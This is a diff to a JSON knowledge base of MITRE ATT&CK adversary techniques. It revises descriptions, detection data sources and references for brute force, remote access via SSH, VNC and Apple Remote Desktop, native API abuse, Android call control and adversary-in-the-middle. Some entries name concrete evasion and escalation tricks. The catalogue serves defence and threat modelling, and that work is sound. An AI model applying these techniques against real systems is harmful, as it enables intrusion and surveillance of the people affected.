+ "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.",
"meta": {
"external_id": "CAPEC-49",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
+ "Command: Command Execution",
"User Account: User Account Authentication",
"Application Log: Application Log Content"
],
@@ -19318,7 +19946,7 @@
"value": "Query Registry - T1012"
},
{
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
@@ -19342,7 +19970,13 @@
"https://attack.mitre.org/techniques/T1021",
"https://capec.mitre.org/data/definitions/555.html",
"https://www.ssh.com/ssh",
- "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
+ "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
+ "https://support.apple.com/en-us/HT209161",
+ "https://support.apple.com/en-us/HT201710",
+ "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf",
+ "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html",
+ "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html",
+ "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
]
},
"uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
@@ -19536,7 +20170,7 @@
"value": "Shared Webroot - T1051"
},
{
- "description": "Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nFunctionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.",
+ "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).",
"meta": {
"external_id": "T1106",
"kill_chain": [
@@ -19555,6 +20189,9 @@
"https://attack.mitre.org/techniques/T1106",
"https://undocumented.ntinternals.net/",
"https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html",
+ "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/",
+ "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/",
+ "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/",
"http://msdn.microsoft.com/en-us/library/ms682425",
"https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html",
"https://docs.microsoft.com/en-us/windows/win32/api/",
@@ -20284,6 +20921,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "Process: Process Modification",
"Module: Module Load",
"Process: OS API Execution",
"Process: Process Access",
@@ -20371,6 +21009,9 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -20431,6 +21072,7 @@
"mitre-attack:initial-access"
],
"mitre_data_sources": [
+ "Logon Session: Logon Session Metadata",
"User Account: User Account Authentication",
"Logon Session: Logon Session Creation"
],
@@ -20636,7 +21278,9 @@
"mitre_platforms": [
"Windows",
"Office 365",
- "Google Workspace"
+ "Google Workspace",
+ "macOS",
+ "Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1114",
@@ -21010,7 +21654,7 @@
"value": "Spearphishing Link - T1192"
},
{
- "description": "Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features.",
+ "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.",
"meta": {
"external_id": "T1129",
"kill_chain": [
@@ -21616,6 +22260,30 @@
"uuid": "dd901512-6e37-4155-943b-453e3777b125",
"value": "Launch Agent - T1159"
},
+ {
+ "description": "Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.\n\nSeveral permissions may be used to programmatically control phone calls, including:\n\n* `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions)\n* `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions)\n* `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions)\n* `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions)\n* `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions)\n* `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions)\n\nWhen granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.",
+ "meta": {
+ "external_id": "CEL-18",
+ "kill_chain": [
+ "mitre-mobile-attack:collection",
+ "mitre-mobile-attack:impact",
+ "mitre-mobile-attack:command-and-control"
+ ],
+ "mitre_platforms": [
+ "Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1616",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html",
+ "https://developer.android.com/reference/android/Manifest.permission"
+ ]
+ },
+ "uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69",
+ "value": "Call Control - T1616"
+ },
{
"description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)",
"meta": {
@@ -21701,6 +22369,23 @@
"uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76",
"value": "Process Doppelgänging - T1186"
},
+ {
+ "description": "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. \n\nWhile there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.",
+ "meta": {
+ "external_id": "T1618",
+ "kill_chain": [
+ "mitre-mobile-attack:defense-evasion"
+ ],
+ "mitre_platforms": [
+ "Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1618"
+ ]
+ },
+ "uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d",
+ "value": "User Evasion - T1618"
+ },
{
"description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.",
"meta": {
@@ -21939,6 +22624,7 @@
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
+ "Process: Process Creation",
"Process: Process Termination",
"Windows Registry: Windows Registry Key Modification",
"Windows Registry: Windows Registry Key Deletion",
@@ -21957,7 +22643,8 @@
"IaaS",
"Linux",
"macOS",
- "Containers"
+ "Containers",
+ "Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1562"
@@ -22140,12 +22827,22 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Metadata",
+ "Internet Scan: Response Content",
+ "Domain Name: Active DNS",
+ "Domain Name: Passive DNS",
+ "Domain Name: Domain Registration"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583",
- "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
+ "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/",
+ "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
+ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
]
},
"uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2",
@@ -22181,8 +22878,9 @@
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
- "File: File Creation",
"Process: Process Creation",
+ "File: File Creation",
+ "Application Log: Application Log Content",
"Command: Command Execution",
"File: File Metadata",
"User Account: User Account Creation",
@@ -22192,15 +22890,13 @@
"Process: OS API Execution",
"Windows Registry: Windows Registry Key Modification",
"Firmware: Firmware Modification",
- "Process: Process Creation",
- "File: File Creation",
- "Service: Service Creation",
- "File: File Content"
+ "Service: Service Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
- "Windows"
+ "Windows",
+ "Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1564",
@@ -22220,6 +22916,13 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Metadata",
+ "Internet Scan: Response Content",
+ "Domain Name: Active DNS",
+ "Domain Name: Passive DNS",
+ "Domain Name: Domain Registration"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -22229,7 +22932,10 @@
"https://www.icann.org/groups/ssac/documents/sac-007-en",
"https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html",
- "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
+ "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/",
+ "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
+ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
]
},
"uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
@@ -22418,6 +23124,10 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Persona: Social Media",
+ "Network Traffic: Network Traffic Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -22461,6 +23171,10 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Persona: Social Media",
+ "Network Traffic: Network Traffic Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -22501,7 +23215,7 @@
"value": "Dynamic Resolution - T1568"
},
{
- "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.",
+ "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.",
"meta": {
"external_id": "T1569",
"kill_chain": [
@@ -22532,6 +23246,11 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Malware Repository: Malware Metadata",
+ "Malware Repository: Malware Content",
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -22540,7 +23259,8 @@
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
- "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"
+ "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
+ "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
]
},
"uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf",
@@ -22553,6 +23273,12 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Malware Repository: Malware Metadata",
+ "Malware Repository: Malware Content",
+ "Certificate: Certificate Registration",
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -22560,14 +23286,18 @@
"https://attack.mitre.org/techniques/T1588",
"https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html",
"https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/",
- "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
+ "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/",
+ "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop",
+ "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/",
+ "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
+ "https://www.recordedfuture.com/cobalt-strike-servers/"
]
},
"uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1",
"value": "Obtain Capabilities - T1588"
},
{
- "description": "Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nAdversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.",
+ "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nAdversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.",
"meta": {
"external_id": "CAPEC-94",
"kill_chain": [
@@ -22575,7 +23305,7 @@
"mitre-attack:collection"
],
"mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
+ "Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Service: Service Creation",
"Windows Registry: Windows Registry Key Modification"
@@ -22592,7 +23322,7 @@
]
},
"uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
- "value": "Man-in-the-Middle - T1557"
+ "value": "Adversary-in-the-Middle - T1557"
},
{
"description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
@@ -22788,7 +23518,7 @@
"value": "Timestomp - T1070.006"
},
{
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
@@ -22806,7 +23536,7 @@
"refs": [
"https://attack.mitre.org/techniques/T1021/004",
"https://capec.mitre.org/data/definitions/555.html",
- "https://www.ssh.com/ssh"
+ "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
]
},
"related": [
@@ -22819,7 +23549,7 @@
"value": "SSH - T1021.004"
},
{
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user.\n\nVNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
@@ -22837,7 +23567,19 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1021/005",
- "https://capec.mitre.org/data/definitions/555.html"
+ "https://capec.mitre.org/data/definitions/555.html",
+ "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2",
+ "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac",
+ "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication",
+ "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc",
+ "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication",
+ "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/",
+ "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/",
+ "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/",
+ "http://lists.openstack.org/pipermail/openstack/2013-December/004138.html",
+ "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins",
+ "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207",
+ "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"
]
},
"related": [
@@ -22960,7 +23702,7 @@
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
- "File: File Content"
+ "File: File Metadata"
],
"mitre_platforms": [
"Linux",
@@ -23041,7 +23783,7 @@
"value": "DNS - T1590.002"
},
{
- "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.",
+ "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. ",
"meta": {
"external_id": "T1053.003",
"kill_chain": [
@@ -23060,7 +23802,8 @@
"macOS"
],
"refs": [
- "https://attack.mitre.org/techniques/T1053/003"
+ "https://attack.mitre.org/techniques/T1053/003",
+ "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
]
},
"related": [
